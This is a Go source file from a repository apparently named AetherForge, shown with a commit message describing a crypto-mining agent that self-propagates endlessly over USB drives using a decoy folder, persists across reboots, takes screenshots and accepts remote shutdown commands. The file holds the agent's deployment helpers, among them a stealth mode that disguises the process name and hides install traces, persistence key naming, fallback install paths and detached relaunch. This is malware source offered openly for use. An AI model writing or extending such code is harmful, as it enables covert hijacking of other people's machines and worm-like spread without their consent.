Files
AetherForge/agent/deploy/common.go
AetherForge ca66f5d048 Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
2026-06-02 21:50:34 -07:00

207 lines
4.7 KiB
Go

package deploy
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
const (
runFlag = "--run"
spreadFlag = "--spread-install"
backupSuffix = ".bak"
)
// BinaryExt returns the executable suffix for the current OS.
func BinaryExt() string {
if runtime.GOOS == "windows" {
return ".exe"
}
return ""
}
// BinaryName returns the forged process filename on disk.
func BinaryName(cfg config.RuntimeConfig) string {
return cfg.EffectiveProcessName() + BinaryExt()
}
// InstalledBinaryPath is the full path to the installed worker binary.
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err != nil {
return "", err
}
return filepath.Join(dir, BinaryName(cfg)), nil
}
func PersistenceKeyName(cfg config.RuntimeConfig) string {
if cfg.StealthMode {
return cfg.EffectiveProcessName()
}
name := sanitizeName(cfg.WorkerName)
if name == "" {
return cfg.EffectiveProcessName()
}
return "CryptoMiner-" + name
}
func sanitizeName(name string) string {
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
return replacer.Replace(strings.TrimSpace(name))
}
func samePath(a, b string) bool {
a = filepath.Clean(a)
b = filepath.Clean(b)
if runtime.GOOS == "windows" {
if strings.EqualFold(a, b) {
return true
}
} else if a == b {
return true
}
aAbs, errA := filepath.Abs(a)
bAbs, errB := filepath.Abs(b)
if errA != nil || errB != nil {
return false
}
if runtime.GOOS == "windows" {
return strings.EqualFold(aAbs, bAbs)
}
return aAbs == bAbs
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
cmd.Dir = filepath.Dir(exePath)
if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
}
applyDetachedStart(cmd)
return cmd.Start()
}
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err == nil {
return dir, nil
}
fallbacks := installBaseFallbacks(cfg)
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
for _, base := range fallbacks {
if seen[base] {
continue
}
seen[base] = true
try := cfg
try.InstallBase = base
dir, tryErr := try.InstallDirectory()
if tryErr == nil {
return dir, nil
}
}
return "", err
}
func installBaseFallbacks(cfg config.RuntimeConfig) []string {
switch runtime.GOOS {
case "windows":
return []string{"localappdata", "appdata", "temp"}
case "darwin":
return []string{"home", "xdg_data_home", "tmp"}
default:
return []string{"xdg_data_home", "home", "tmp"}
}
}
func InstallDir(workerName, buildID string) (string, error) {
base := "localappdata"
if runtime.GOOS != "windows" {
base = "xdg_data_home"
}
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: base,
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
// isPayloadStale returns true when the on-disk USB payload has a different
// size than the current running executable — meaning the agent was upgraded
// and the USB copy needs to be refreshed.
func isPayloadStale(exePath string, payloadSize int64) bool {
fi, err := os.Stat(exePath)
if err != nil {
return false
}
return fi.Size() != payloadSize
}
func saveBackup(installedBin string) error {
backup := installedBin + backupSuffix
if _, err := os.Stat(backup); err == nil {
return nil
}
return copyFile(installedBin, backup)
}
// WantsSpreadInstall reports --spread-install CLI flag.
func WantsSpreadInstall() bool {
return wantsSpreadInstall()
}
func wantsSpreadInstall() bool {
for _, arg := range os.Args[1:] {
if arg == spreadFlag {
return true
}
}
return false
}
func isRunMode() bool {
for _, arg := range os.Args[1:] {
if arg == runFlag {
return true
}
}
return false
}
func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
if cfg.StealthMode {
return
}
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
)), 0644)
}